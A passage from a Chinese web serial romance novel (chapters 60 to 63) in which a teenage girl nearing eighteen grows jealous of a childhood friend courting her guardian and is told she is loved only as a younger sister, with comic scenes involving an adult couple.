乔潇潇一听脸色缓和了,温柔地拒绝,“那不行,姐姐不让我进厨房。” 杨绯棠乐了,手戳了戳乔潇潇的脸蛋,“咋的,跟你楚姐姐那装装就行了,还想在我这儿当大爷?” 乔潇潇一听立即抬头,对着厨房喊:“姐姐,杨姐姐欺负我!” 楚心柔一手拿着锅,皱着眉就出出来了,“杨绯棠,你怎么欺负孩子?!” 杨绯棠:…… 我靠。 还孩子呢? 有这么绿这么茶的孩子么? 从那一天起。 身心松弛的乔潇潇感觉自己就像是掉进了蜜罐里。 原来,被宠爱的感觉这么好啊。 她只要向姐姐撒娇,楚心柔什么都答应她,一天下来,乔潇潇的舌头都快捋不直了。 甚至,在晚上视频的时候,糯糯看着镜头里的姐姐,小手摆了摆。 ——姐姐,你是不是偷吃火锅烫着舌头了? 怎么不会好好说话了? 乔潇潇:…… 高二那一年,在乔潇潇的记忆里镌刻下深深的印记——是钻心的疼痛,是绵长的遗憾,是劫后余生的庆幸,更是一场生命的涅槃重生。 当高三开学季的钟声敲响时,她终于卸下了沉重的石膏,告别了陪伴她走过大半年的拐杖。医生推了推眼镜,语气谨慎:“这只是万里长征第一步,后续的康复训练至关重要。根据恢复情况,可能还需要进行几次修复手术。” 乔潇潇的脸上浮现出坚定的神色,现在的她,内心充足,什么都不怕。 楚心柔也是相信潇潇的,杨绯棠更是当着别人的面化身夸夸狂魔:“医生,你尽管放心,我家崽子啊,最不缺的就是毅力,你看看,这脚丫子虽然受伤了,可上半身都要练成变形金刚了。” 医生听了笑着点头,“好的,潇潇妈,那您多费心。” 杨绯棠瞪大了眼睛:??? 什么??? 什么妈???有这么年轻,这么貌美如花的妈妈吗?excuseme?这位医生是不是该去看眼科了? 乔潇潇笑的几乎要跌倒了楚心柔的怀里,楚心柔揉着她的头发,跟着笑的不停。 那个假期的康复训练室里,乔潇潇总是最早来最晚走的那个人。汗水一次次浸透训练服,每咬着牙完成一个动作时,她脑海里想的都是姐姐。 楚心柔一有时间就过来陪她,偶尔的也问问她那些器材怎么用,乔潇潇每每靠着她,嗅着姐姐身上香香的味道,心里都会涌起那股子不再陌生的酥麻。 乔潇潇知道,自己还不到收网的时候,小不忍则乱大谋,她现在要做的就是一忍再忍。 她恢复的很好,就连主治医生都跟着杨绯棠夸奖,“你家孩子啊,的确有毅力。” 白眼飞上天的杨绯棠:…… 高三,对于很多学子来说,都是人生的转折点,是很多寒门子弟鲤鱼跳龙门改变命运的机会。 乔潇潇按照她的计划,稳步进了一班,而且名次一直稳定的保持在前十名。 袁璐看过她的成绩单,问过:“大姐,你要是努努力,能冲击第一了。” 乔潇潇会学着楚心柔的样子,摸摸她的头发:“物极必反,凡事不能追求极致。” 袁璐听了若有所思,看着她,问:“那把青心的过件标准降低一个点行吗?” 她大姐对于产品质量有着极致的追求,现在一天质检下来,得有百分之十几的损件率,她都心疼死了,太过极致了。 乔潇潇蹬着她,“不行!” 袁璐:…… 本来,学业和事业双丰收的乔潇潇还是挺春风得意,挺开心的,她甚至还带着小花亲自去田径队摆摊卖水,跟着队里蹭自助餐吃。 可就在一切都顺风顺水,就在乔潇潇满心欢喜的迎接自己的18岁成人礼,即将开始的新的人生篇章时,她还是遇到了不小的“冲击”。 乔潇潇看到了楚心柔的追求者。 那是一个身形修长,举手投足间透着从容不迫的优雅的男人,他的眉眼深邃,鼻梁高挺,唇角微扬时带着几分恰到好处的温和,既不显得轻浮,又不至于过分疏离。谈吐间,能听出他受过极好的教育,言辞谦逊却不失锋芒,偶尔引经据典,却不会让人觉得卖弄。 优秀得……近乎刺眼。 这也让她们之间,有了第一次真正意义上的争吵。 【作者有话说】 妈呀,终于要18了!!!!! 60-70 61 第61章 ◎把你当妹妹。◎ 谢英与楚心柔算得上是从小一起长大的青梅竹马。年少时的谢英顽劣不羁,连父母长辈都管教不住,唯独对楚心柔言听计从。高中那年,谢家安排他出国留学,少年倔强地绝食抗议,整整三天粒米未进,险些被送医抢救。最后还是楚心柔的话让他改变了主意。 “你要出去好好历练,等回来后,好帮谢叔叔的忙。” 谢英直直地望着她,眼中满是不情愿,“我才不要去,老头子那很多人帮忙,不差我这一个。” 他想要的从来不是什么狗屁生意。 楚心柔轻叹一声,换了个说法:“那你不想帮我么?” 她当时肩挑整个楚氏集团的重担,谢英再清楚不过。关于楚家的那些事,他比谁都了解,也总是为楚心柔打抱不平,可他现在连自己都顾不上,更别说保护楚心柔了,这话让他陷入了沉默。 最终,谢英还是踏上了远行的飞机,登机时没见到那个熟悉的身影,他偷偷红了眼眶,暗暗发誓一定要回来。 这一别,就是六年的光阴岁月。 等谢英回来之后,楚家已经有了翻天覆地的变化,那个曾经问他“帮忙”的女孩走了,只剩下二小姐一个人撑着家族。 家里人知道他的脾气,别看长大了,看着文绉绉的成熟了,内核还是那个执着的他,左右不了他,认定的事儿谁说也没用,就把楚心柔是怎么把打压怎么被排挤出集团的实情告诉了他。 到底还是有变化的,谢英握着拳头冷笑了几声,他没有立即去找楚心柔,而是又用了两年的时间壮大羽翼,处处与楚家作对。 谢英还是有点天赋,最起码要比二小姐适应的快,每次都能把凤依气的暴跳如雷。 曾经,在楚云疾的眼里,他不过是一个乳臭未干的屁孩子,如今,终于也不得不正视了。 看一切都稳定了。 谢英跟家里人打了个招呼,追着楚心柔来了。 在看到楚心柔住在那么小的一个房子,佣人没一个,孤单的深居简出的时候,他心疼的都要炸了,直接在旁边租了别墅,做好了长期“奋斗”的准备,誓将楚心柔带回去。 可楚心柔还是老样子,对谁都淡淡的,甚至比年少时更甚,她对他在笑,可眼里却隔着深秋。 软硬兼施无果后的谢英没有办法了,跑去找杨绯棠,“姐,你是我亲姐,求你给弟弟指条明路。” 杨绯棠抱拳,“明路就是您打哪儿来的回哪儿去。” 她多了解楚心柔。 要是对谢英有感情,早在一起了,还用他追到这儿来? 谢英拧着眉头,摸了摸自己的脸,“棠棠,你说小时候心柔跟我说她喜欢高冷男神,尤其喜欢侧脸线条好看的,为了这,我都去了一趟韩国,你看我这鼻子,还不够线条好看么?” 杨绯棠来了兴趣,睁大眼睛:“妈呀,原来这是假的啊?我还奇怪呢,你那蒜头鼻子怎么突然这么精致了,快,让姐姐摸摸!” 谢英毫不吝啬地偏了偏头,把鼻子送了过去,“我这可是吃了大苦才换来的,结果前几天我找心柔,她现在又跟我说她不喜欢这一款了,喜欢线条柔和的,难不成我再跑一趟韩国?” 杨绯棠笑开了花,“行了,老弟,你听姐姐劝,留着美好的回忆,收拾收拾包裹,回家继承家产去吧。” 这谢英怎么干? 在国外,人生地不熟,又想家的他可是靠着想着楚心柔才坚持下来的啊。 他坚持了那么多年的信仰,不是说放下就能放下的。 那一段时间,谢英都厚着脸皮去楚心柔家里蹭饭,今天说“自己不会做”,明天说“饭店厨子不合胃口”的,楚心柔也挺“善良”,每天都把自己煮的一锅烩面条给谢英吃,晚上等潇潇回家,再让她给自己做好吃。 没几天,谢英吃的脸都绿了,给他愁的蹲家门口抽烟,远远地,看着乔潇潇回来了。 对于乔潇潇,他是知道的,来之前也做了调查。 知道他心软又善良的女神资助这女孩,一资助就是快三年,俩人处的跟家人似的。 谢英也想从她入手,可这女孩高高冷冷的,跟同龄的小女孩一点都不一样,每一次,看她的眼神,都是冷岑岑的不带任何温度。 就像是现在,他蹲在这儿抽烟,那抑郁的样子,得吸引多少少女的注视。 可乔潇潇偏偏用看“狗”一样的眼神掠过他。 没错,就是看狗。谢英甚至觉得,她看流浪狗的眼神可能都比看他温和些。 可即便如此,他还是掐灭了烟,朝她走去。 谢英身高一米八五,在人群里向来醒目,可乔潇潇也不遑多让。她至少有一米七六,身形修长挺拔,听说还练过体育,骨架匀称,站姿笔直得像棵白杨,带着一股生人勿近的冷冽。 “嗨,潇妹妹。” 谢英笑着打着招呼,乔潇潇身子向后,抱住双臂,睥睨着他。 她这几天已经因为这个人,牙疼上火了。 不愧是好姐妹,就这个动作,都跟楚心柔不开心的时候一模一样。 谢英勾起一抹笑,朝她晃了晃手中的纸袋:“前几天听你楚姐姐说,你最近在拼命练英语听力?”他故意放慢语速,从袋子里取出一个包装精美的盒子,“最新款的SennheiserHE-1,据说音质纯净得能听见演奏者的呼吸声。” 乔潇潇就跟没听见一样,继续往前走,路过他的时候,甚至像是怕蹭到什么脏东西一样,往后退了退。 谢英快步追上,声音里带着几分讨好的意味:“你的青心品牌我看过了。”他刻意放低声音,“我可以请MarcJacobs来操刀设计,再让Vogue做个专题。推广费用全算我的,怎么样?” …… 来蹭饭的杨绯棠正好看见了这一幕,她望着谢英低下头落败的样子,走了过去,“还不死心呢?” 谢英重重地叹气,“这女孩,比心柔还难搞,油烟不进,我给他说的MarcJacobs是有钱也请不来的。她却用一种看S.B的眼神看我。” 杨绯棠笑的前仰后合的,“我们家崽子啊,就是这么有个性。” 其实,她也发现了,最近乔潇潇的心情似乎不太美丽,沉默寡言不说,身上散发的气场也不好。 潇潇推开门,楚心柔走了出来,她微微一笑:“回来了?” “嗯。” 乔潇潇闷闷的,她现在就是低着头也要比楚心柔高了,楚心柔看着她的眼睛:“怎么不开心了呢?” 乔潇潇没说话,她径直的走向了里屋。 楚心柔:??? 屋外,谢英跟着杨绯棠进来了,跟楚心柔商量着晚上想请她吃饭,大家一块出去热闹热闹,被楚心柔拒绝了,“我在减肥。”说着,她看向杨绯棠:“你可以和她去。” 杨绯棠的肚子已经开始叫了,却嘴硬,“我也不饿,我也减肥。” 紧接着,她摸了摸自己的小下巴,冲屋里喊着:“潇潇,你跑不跑步去啊?” 这几天疏于运动,她已经长肉肉了,昨晚,薛莜莜在床上笑的妩媚,直接叫她“杨贵妃”,没给杨绯棠气死。 乔潇潇抱着一沓相册走了出来,看了杨绯棠一眼,楚心柔点头,“那我也去吧。” 她是想要躲开谢英。 谢英反应却极快,上前一步:“我也来我也来,我在纽约参加过业余组的马拉松,拿了名次呢。” 乔潇潇闻言挑了挑眉,嘴角勾起一抹意味深长的笑。 楚心柔和杨绯棠默契地对视一眼,都在心里默默为谢英点了一根蜡。 这一晚上,大概是谢英最难熬的一晚上。 天怎么那么黑,空气的味道怎没那么难闻? 谢英气喘吁吁的,憋的要死,两腿已经几乎抬不起来了,可身边的女孩却还像是长颈鹿一样优雅,她一边跑一边冲谢英笑,笑的那么甜:“拿了纽约业余组马拉松比赛名次的哥哥加油啊。” 这话都说到这儿了,谢英就是累死也得跟着跑啊。 俩人这可真是要比上马拉松了。 楚心柔和杨绯棠在一边站着看,杨绯棠看了看表,“这都得跑一个半点了吧?” 楚心柔点了点头,有点担心乔潇潇的脚。 杨绯棠半眯着眼睛,“哎,心柔,你说咱家崽子是不是故意使坏啊,我怎么感觉她总带着他去蚊子多的河边呢?” 出门前,乔潇潇就跟不要钱似的,往身上喷了那么多花露水。 杨绯棠琢磨出点味来,“你说……这崽子不是故意使坏呢么?” 楚心柔皱着眉,“怎么可能?潇潇不是那种人。绯棠,你去问问她俩还得跑多久?” 得嘞。 杨姐姐关键时刻还是靠得住的,她小跑着追了过去,对着潇潇笑了笑:“还跑呢?累不累?要不要休息一下?” 乔潇潇回头看了看谢英,“你是不是不行了?” 男人哪能说不行? 谢英立即摇头,杨绯棠赶紧劝他,“潇潇以前练过,是专业的,你跟着瞎跑什么啊?晚上不是说还要和心柔咱们玩牌的么?” 气喘吁吁的谢英还没来得及回答,乔潇潇听了对着杨绯棠嫣然一笑:“杨姐姐,我看你闲着也是闲着,一起来吧?” …… 眼看着两个人的跑步,变成了三个人。 楚心柔抚了抚胸口,幸好,她派杨绯棠去了,要不现在遭罪的得是她。 那一天晚上。 杨绯棠简直是鬼哭神嚎的,她趴在沙发上,被薛莜莜按的眼泪都快出来了。 “疼……疼疼疼!!!” 杨绯棠直拍沙发,薛莜莜无语地看着她,“你一把岁数了,跟潇潇这么跑干什么?你看看,腿肚子现在还在抖。” 杨绯棠泪眼都要流下来了,“谁知道那崽子怎么回事儿?也不知道是不是青春期滞后了,现在才来,这几天心情那么不好,坑了外人又坑自己人,哎呦,我的天啊……疼……爱妃,疼疼疼……” 薛莜莜听了若有所思,问:“谢英还要待多久?” 杨绯棠立即警觉了起来,她翻了个身,眯着眼睛看着薛莜莜:“你打听他干什么?我说你最近怎么总打量他,是不是看上人家年轻小伙了?” “我让你胡说八道。”薛莜莜去撕杨绯棠的嘴,“我告诉你,最近他在家,你少去掺和,这次是马拉松,下次潇潇指不定怎么练你呢!” 杨绯棠:…… 哎呦我的苍天啊,这到底是为什么啊? 乔潇潇晚上回了家,洗了澡,本来已经困得眼皮子都要黏一起了,却还是走到客厅,把相册里的照片一个个往外拿。 这都是这些年,积累的。 之前,在楚心柔知道乔潇潇从小到大就有一张黑白照片之后,这些年,就一直留意着给她照相,其中,不乏俩人的合影。 今天跑完步。 楚心柔知道乔潇潇也是累了,但是在谢英面前,她还是抱着胳膊,一副云淡风轻的样子,“哥哥,你还得练啊。” 言外之意,你就是不行。 谢英连摆手的力气都没有了,他喘息着看着楚心柔,“心柔……明早……我、我得去按摩一下,我不找你吃早饭了……” 楚心柔巴不得,赶紧说:“中午饭也别吃了,多按按。” 谢英盯着她看了看,苦笑着摇头走了。 他一离开,乔潇潇绷着的身子骤然放松了下来,她一下子靠在了楚心柔的肩膀上,有气无力地说:“姐姐,回家,累死我了。” 楚心柔无奈又心疼,“脚疼了么?” “一点点。”乔潇潇自打脚受伤之后,已经很久没有这么跑过了,虽然是匀速,但如果不是谢英在,她早就累的扑倒在姐姐怀里撒娇了。 乔潇潇几乎是被楚心柔半托半抱着回来的,还以为她得累的直接倒床上了,可到底是年轻人,就这么又起来了。 楚心柔披着外套,揉着眼睛走了出来,“你干什么呢?” 不是累了么?还不睡觉休息? 乔潇潇挑选着照片,一张一张的往照片墙上黏,“你困了先去睡。” 楚心柔睡眼惺忪的看了看,好家伙,乔潇潇这是把从她来的时候,倒现在,这近三年来俩人的合影都给放墙上了,“这是做什么?” 乔潇潇冷哼一声没回应,心里却憋着气。 青梅竹马怎么了? 合影有多少啊? 敢拿出来比比么? 楚心柔看她不吱声,转身去倒了杯牛奶递给潇潇,“你早点睡。” 就在她转身那一刻,乔潇潇问了一嘴,“姐,你多大和谢英认识的?” 楚心柔转过身来,以为她要聊天,想了想,“应该是有记忆开始,大概四岁或者五岁?” 那时候,两人家在一个大院,谢家和楚家的生意都刚刚起步,父母都很忙,大院的孩子们经常一起玩。 小时候的谢英,个子小小的,长得细皮嫩肉,跟小姑娘似的,总是被欺负,是楚心柔护着他。 乔潇潇听了,半笑不笑的,“不愧是我姐姐,从小就有爱心呢。要不人家这么多年,还念念不忘呢?” 楚心柔半眯着眼睛:“我听你这话怎么阴阳怪气的?” 乔潇潇看着照片墙上的照片,时光真是飞快啊,全被照片封存了下来了。 乔潇潇看到自己从最初小小的被姐姐搂着一个胳膊,害羞的照相,倒后来,她伸着一只手臂,将姐姐抱在怀里,俩人对着镜头一起灿烂的笑,这才过了多久啊。 又看了片刻,乔潇潇扭头看向楚心柔,问:“姐姐,你喜欢谢英么?” 以前,乔潇潇很少问楚心柔这样私密的话题。 楚心柔有点惊讶地看了看乔潇潇,乔潇潇的眼睑半垂着,没有什么精神,也像是在秉着呼吸在聆听,她想着潇潇也是长大了,快十八了,跟她聊点感情话题也正常。 楚心柔摇头:“我不喜欢他。” 得到肯定答案的乔潇潇用力克制着上扬的嘴角,“嗯?为什么啊?他那么优秀?” 平心而论。 如果不是他喜欢姐姐,甚至谢英喜欢的如果是杨姐姐,乔潇潇都没有这么讨厌他。 他虽然偶尔来几句英文单词,但整个人还是非常阳光爽朗的,最重要的是多金有钱,有不拿捏架子。 姐姐不喜欢他! 乔潇潇心里的小人已经叉腰仰天大笑了,可面子上却一点不表现出来。 她追问:“为什么呀?” 楚心柔盯着她的眼睛说:“没什么为什么,我一直把他当做弟弟,不可能的。” 就在乔潇潇咧嘴之际,她不充了一句:“就像是把你当妹妹一样。” 【作者有话说】 乔潇潇捂着胸口:心碎成了无数片。 62 第62章 ◎年下的好,等用到的时候就知道了。◎ ——就像是把你当妹妹一样。 楚心柔说这话时神色坦然,目光甚至越过乔潇潇,落在墙上的照片墙上,看着她和潇潇的各种合影,唇角微微上扬。 时光真快啊。 一眨眼,那个总是低着头的小女孩长大了,还出落的不卑不亢,体贴懂事了。 “是么?” 乔潇潇嘴角扯出一个僵硬的弧度。胸腔里仿佛有什么东西轰然碎裂,碎片扎得她五脏六腑都在渗血。她盯着楚心柔被阳光镀上金边的发梢,突然觉得那光芒刺眼得让人想流泪。 妹妹? 谁要当你妹妹?! 酸涩的情绪在喉间翻涌,乔潇潇听见自己带着刺的声音:“姐姐的弟弟妹妹可真多呢。” 楚心柔微微蹙眉,转过来的脸庞在逆光中显得朦胧:“什么意思?” “字面意思。”乔潇潇偏过头,盯着照片墙上两人依偎的合影,“从小一起长大的‘弟弟’,确实很特别。” 空气骤然凝固。 楚心柔抿紧的唇线在光影中微微发颤:“潇潇,我们说好有话直说的。” 她的声音很轻,却像一记重锤砸在乔潇潇心上。 暗恋是场无声的凌迟。 乔潇潇感觉有千万句话在舌尖翻滚,最终却化作喉间一团灼热的硬块,烫的她眼圈发红。 楚心柔看着她,语气依旧温柔:“是最近学习累了么?” 乔潇潇看着楚心柔困惑的眼睛,那里面的关切像盐一样撒在她鲜血淋漓的伤口上。 是啊。 在楚心柔的眼里,她永远都是那个一天只想着学习赚钱的小孩。 无关其他。 “不是学习的事。”乔潇潇生硬地打断姐姐,她突然有种不管不顾的冲动,想把那些辗转反侧的心事全部倾倒出来。 可她不能。 她知道……一旦自己这么做了,就很有可能永远地失去姐姐。 “那是因为什么?” “你别管了。” 楚心柔怔住了,盯着潇潇看。 这么久了,潇潇从来没用过这样“恶劣”的态度对她。 她到底做错了还是说错了什么? 乔潇潇清楚地看见那双眼里的光芒一点点黯淡下去。 这比任何言语都更具杀伤力。 乔潇潇不能再停留一秒钟,多一秒都怕眼泪会流出来,她转身快不离开,末了,房门被“砰”的一声重重地摔上了。 那天夜里,乔潇潇把脸埋进被子里,咬紧被角,无声地哭到浑身发抖。 “妹妹”两个字,几乎是魔音贯耳,在乔潇潇的脑里心里响了一整晚。 而姐姐失望的眼神,更是让她锥心刻骨。 妹妹……妹妹……妹妹! 她想当的,不仅仅是妹妹啊,楚心柔,你知不知道?! 第二天,她顶着一双红肿的眼睛往杨绯棠的琴房走,一夜未睡的楚心柔站在门口,注视着她离开的方向,缓缓地低下了头。 她不知道潇潇这段时间是怎么了。 只是……楚心柔知道自己心里并不好受。 以前,她对于任何人刁钻犀利的言语,都可以忽略不计。 可到了潇潇这儿就偏偏不同,不知道怎么了,她跟一个孩子较真了。 到了琴房的时候,乔潇潇发现杨姐姐最近心情似乎不错,连擦琴键的手都轻快了点,“哟,崽子来了?” 这么早就来?不会是和心柔吵架了吧? 乔潇潇站在旁边看了看半天,反复琢磨着措辞,小心翼翼地问:“杨姐姐,你说,如果……如果我以后喜欢上一个岁数大的人,你会怎么样?” 她真的是走投无路了。 她太需要一个倾诉的对象了。 除了姐姐,杨姐姐就是她最信任的人。虽然这有可能暴露,但总好过现在这样,整颗心都被泡在酸水里,疼得她夜不能寐。 杨绯棠非常大度,“我知道啊,你之前不是跟心柔说你能接受二十岁的年龄差么?大不了你领回来之后,我跟着叫姨。” 乔潇潇:…… 说着,杨绯棠转过头,笑容在看清乔潇潇通红的眼眶时瞬间凝固。 “你……”杨绯棠的声音不自觉地放轻了,她伸手想碰乔潇潇的脸,又在半空中停住,“发生什么事了?” 乔潇潇咬着下唇摇头,她就这样望着杨绯棠,眼神里盛满了无处安放的委屈和难过。 杨绯棠的喉头滚动了一下,突然觉得腿有点软,赶紧在旁边的椅子上坐下了,她的声音轻得几乎听不见,“三十岁……也不是不能接受的。” 乔潇潇:…… 琴房的门突然“吱嘎”一声被推开。 薛莜莜赤着脚走进来,身上只松松垮垮地套了件杨绯棠的瑰红色衬衫。衣摆堪堪遮到大腿,随着她的走动若隐若现,那双纤细的腿白得晃眼,薛莜莜径直走到杨绯棠面前,不由分说地跨坐在她腿上,两手勾住了她的脖子,修长的脖颈上缀着点点嫣红。 杨绯棠下意识揽住她的腰肢,耳尖泛起薄红:“怎么……”她轻咳一声,声音不自觉地放软,“怎么这样就出来了?” 昨晚的确折腾的有点狠了。 薛莜莜睡眼朦胧,倾身向前,鼻尖亲昵地蹭了蹭杨绯棠的鼻尖:“被你吵醒了……”尾音拖得绵长,带着晨起特有的慵懒沙哑。 杨绯棠瞥见一旁乔潇潇涨红的脸,压低声音道:“妹妹还在呢。” 薛莜莜双臂环上杨绯棠的脖颈,偏头望向乔潇潇,唇角勾起一抹意味深长的笑:“怕什么?”她故意顿了顿,眼波流转,“她见过的场面,可比这刺激多了。” 杨绯棠:…… 乔潇潇:…… 今晨难得地,乔潇潇留在了杨绯棠家用早餐。 起因是昨日累得半死的谢英竟强撑着早起,还特意跑去买了小笼包送到家里。楚心柔发来的信息在乔潇潇手机屏幕上亮起。 【去锻炼了?买了小笼包,回来吃。】 这简简单单的一条信息,又让乔潇潇心里泛起了酸涩。她知道这是姐姐再给自己台阶下,可心里说不清道不明搓着的活让潇潇索性赖在杨姐姐家,任性地不肯回去。 杨绯棠的厨艺确实了得。金黄酥脆的煎蛋,层次分明的三明治,光是卖相就远胜楚心柔那碗浑浊的面条。 而就在刚才,乔潇潇亲眼目睹了薛莜莜是如何像没骨头似的黏在杨绯棠身上,三言两语就让原本打算点外卖的杨姐姐心甘情愿下厨的。 杨绯棠刚拿起锅铲,薛莜莜就双眼放光:“好帅啊~” 煎蛋在空中翻了个面,薛莜莜立刻配合地捂住嘴惊呼。 杨绯棠嘴角都快咧到耳根了,从最初的不情不愿,到最后主动说明天还要做。这期间,薛莜莜还不忘转头,冲乔潇潇使了个眼色。 ——看,多好哄。 有人还在为那声“妹妹”黯然神伤,有人却已明目张胆地撒起了狗粮。 乔潇潇机械地咀嚼着三明治,吃的一小口一小口,食同嚼蜡。 杨绯棠看了有点担心了,跟薛莜莜咬着耳根子,“这孩子到底怎么了啊?” 乔潇潇一旦在吃上没那股“狠劲儿”,就代表她有了心事儿。 这是这几年,杨绯棠总结的经验,之前她来家里吃三明治,那可是不夸张的说,两三口吞一个,杨绯棠甚至还建议过她去参加大胃王比赛,自己可以当拉拉队,奖金对半分。 薛莜莜笑着看了看乔潇潇,捏着杨绯棠的耳朵:“你啊,一直就不懂少女心思,一会儿吃完饭,你去找隔壁,带着心柔出去写生,我和她聊聊。” 杨绯棠一听就警觉地身子向后,看着薛莜莜。 薛莜莜的手插进她的头发,轻轻的蹭着,“你这么看我干什么?” 杨绯棠认真地说:“潇潇,她青涩着呢,你别把她带坏了。” 薛莜莜笑了,“这烦恼啊,就是因为太青涩才会这么烦恼,当年,青涩的我不就是被你这么欺负的么?” 杨绯棠:…… 就薛总这张嘴,是没办法战胜的。 吃完饭,领了任务的杨绯棠擦了擦嘴,“我去找心柔写生去。” 她说这话的时候,有意观察着乔潇潇,还真的看着她紧蹙的眉头舒展开了一些,脸色也好看了,“哦,好,中午回来吃饭么?” 杨绯棠摇头,她迟疑地看了看薛莜莜,到底怎么回事儿啊?这崽子跟她朝夕相处这么久了,她居然逐渐开始看不透了? 少女心事谁能猜的透? 杨绯棠离开后,薛莜莜看了眼乔潇潇:“喝咖啡么?” 这是她第一次见着乔潇潇时说的话,当时潇潇可是拒绝的干净利落。 而如今,乔潇潇看着她的眼神明显比之前弱了很多,“嗯,谢谢莜莜姐。” 这样的反应,让薛莜莜更加肯定心里的猜测了,除了感情,还有什么能摧残一个花季少女坚强的心? 再加上杨绯棠夜里没少跟她叨叨:“谢英长得虽然还凑合,但心柔是什么人啊,不会看上他的。” 每次,薛莜莜都会捏着她的耳朵问:“那你觉得你家心柔会喜欢什么样的人?” 对于她们的友谊,薛莜莜已经见怪不怪了,虽然*最早,她也吃过不少醋,但慢慢的,总会习惯。 杨绯棠虽然平时跟楚心柔斗嘴,但在她心里,楚心柔可是这天上地下打着灯笼都找不到的好姑娘,“怎么说也要合她的心思,懂她在想什么,眼里有活,还要有品位,懂艺术,身体要好,要有锻炼的习惯,嗯,最重要的是要有一颗上进心。对了,还得能受得了心柔那猪食一样的面条。” 薛莜莜“噗嗤”的笑出了声,杨绯棠自己也感觉有点闪着舌头了,“是不是要求太多了?但是……”她神出鬼没的说了一句:“这些,潇潇都能做到啊。” 别的不说,就潇潇能每次把楚心柔做的面条吃的津津有味这一点,就让杨绯棠佩服至极。 薛莜莜也不辩驳,跟着重复:“是啊,潇潇能做到。” 到最后,杨绯棠琢磨了一会儿,跟见鬼似的看了薛莜莜一眼,心都哆嗦了。 她……她这是产生了什么大逆不道的想法??? …… 薛莜莜骨子里是个温柔的人,否则也不会把杨绯棠折腾得死去活来后,还能让她念念不忘。 晨光透过纱帘,为她的侧脸镀上一层柔和的轮廓。薛莜莜专注地研磨着咖啡豆,手腕轻转间,细白的指尖与深褐色的咖啡粉形成鲜明对比。淡粉色旗袍妥帖地勾勒出她的身形,盘扣一丝不苟地系到领口,随着她研磨的动作,衣料上的暗纹在阳光下若隐若现。 乔潇潇怔怔地看着。 薛莜莜的每个动作都透着一股子女人味,研磨时手腕的弧度,垂眸时睫毛投下的阴影,甚至是指甲上那抹若有似无的珠光…… 乔潇潇有些自惭形秽地低下了头。 咖啡香气渐渐弥漫开来,与薛莜莜身上淡淡的香水味交织在一起。她忽然抬眸,对上了乔潇潇的视线,唇角勾起一个了然的弧度:“我在你这个年龄的时候,比你还冲,什么都不懂。” 她就像是长了一双能透视人心的眼睛。 乔潇潇抿了抿唇,看了她一眼,显然是不很相信。 眼前的薛莜莜是多么的优雅,举手投足尽是妩媚。 看她不信,薛莜莜笑了,她拿出手机,从手机壳里取出了年少时和杨绯棠的合影。 现在还有谁还把照片贴身带着? 可见薛莜莜有多真实。 乔潇潇看了看照片,满眼的不可思议。 照片上的薛莜莜素面朝天,对着镜头,都带着羞涩,而杨绯棠看着也要比现在更加的意气风发,一手搂在她纤细的腰上,对着镜头笑的阳光灿烂。 “那时候,我大一,她读研。” 乔潇潇瞠目结舌,“杨姐姐真的是研究生?” 以前,杨绯棠跟她说的时候,她全当是吹嘘了。 薛莜莜看乔潇潇的表情笑了,“是啊,而且是品学兼优的好学生,好学姐呢,很多人喜欢。” 她能理解乔潇潇的难以想象,可事实就是如此。 当时的杨绯棠,耀眼到让她没有办法抬起头,而那时候的薛莜莜,家里正处于四分五裂的状态,连基本的生活费学费都拿不出来。 薛莜莜将研磨好的咖啡轻轻推到乔潇潇面前,瓷杯与木质桌面相触,发出轻微的声响。她的目光透过袅袅升起的热气,仿佛穿越回了那段青涩岁月。 “当年啊。”她的声音轻柔得像在讲述别人的故事,“我们之间隔着整个银河那么远。” 乔潇潇的指尖无意识地摩挲着杯沿。 “她给我最温柔的呵护,却在最亲密的时候说……”薛莜莜顿了顿,唇角勾起一个苦涩的弧度,“‘永远不要爱上她’。” 这句话像一把钝刀,精准地扎进乔潇潇心里最柔软的地方。她猛地低下头,睫毛剧烈地颤动着,在眼下投下一片阴影。 “后来呢?”再抬头时,乔潇潇的眼眶已经泛红,没想到杨姐姐年轻的时候那么渣,活该她现在做0无法翻身,以后再也不带她跑步了。 薛莜莜慢条斯理地啜饮着咖啡,任由苦涩在舌尖蔓延。“暗恋就像这杯咖啡,”她的指尖轻轻敲击杯壁,“初尝是苦的,但只要你愿意等……” 只要方向对,总会享受到最后的醇香。 那时的她,不知在多少个深夜里咬着被角无声哭泣。杨绯棠每一次若即若离的温柔,每一次对学弟学妹展露的笑颜,都无声地折磨着她。 “后来,我买了本笔记本,”薛莜莜的眼神突然变得锐利,“记下她说的每一句话,做的每一件事。”她的指甲无意识地在桌面划出一道浅痕,“我当时就想——” 她咬了咬牙:“杨绯棠,你要是厉害,就一辈子也别爱上我,不然——” 那些痛苦的回忆,随着眼泪,一字一字的都被记录在本上。 来日方长。 有你好看的! 薛莜莜做到了。 是乔潇潇亲眼可见的做到了,还把杨姐姐“做”的那么狠。 “所以,慢慢来,笑到最后,才是赢家。” 薛莜莜喝了最后一口咖啡,微笑地看着乔潇潇,乔潇潇的心“咚咚咚”的跳的厉害,她知道,薛莜莜已经看透了自己心里的人了。 人,或许会有不同,但爱情是相通的。 薛莜莜是懂潇潇的。 乔潇潇最后问的问题很隐晦,“莜莜姐,你和我杨姐姐才差四岁。” 说到这点,薛莜莜脸上的笑容就丰富了起来,她纤细修长的手指摸索着咖啡杯,“这完全不用担心,年下的好,等用到的时候,那些老女人就知道了。” 潇潇可是个行动派。 她火速整理了心情,狂奔到文具商店,这次连讲价都没讲,直接管老板要了最后的那个笔记本。 拿回家后,乔潇潇打开本子,在第一页工工整整的写了几个字。 ——姐姐,我们走着瞧! 她给楚心柔做了饭之后就开始奋笔疾书。 晚上,楚心柔回来,看到一桌子她爱吃的菜,抿了抿唇。 客厅里,亮着一盏灯。 她知道是潇潇在学习,中途吃到一半,她还过来看了一趟,“你写什么呢,这么久?” 她前一阵子才跟潇潇讨论过学习,人家信誓旦旦的说,高三的课程已经全部自学完毕了,现在就等着复习了,每次学习的时候,潇潇也是转着笔,一副游刃有余的高手感,好久没有这么认真了。 而且,看她的样子,似乎不生气了? 乔潇潇突然抬起头,对着楚心柔笑了笑,叫了一声:“姐姐~” 楚心柔看着她,总感觉笑容有点跟平时不一样,“嗯?” 乔潇潇对着她的眼睛,一字一句说的认真:“将来,你会知道这里的内容的。” 她会让楚心柔当着自己的面一个字一个字的读出来。 缺一个都不行。 【作者有话说】 其实叶子看来,潇潇这本完全是留给楚心柔看的,她自己用着多余,她过目不忘的。,^0^ 63 第63章 ◎十八岁。◎ 十七岁最后一天的23时59分。 楚心柔踮起脚尖,手中的铅笔在墙面上轻轻滑动,“马上就好了。” 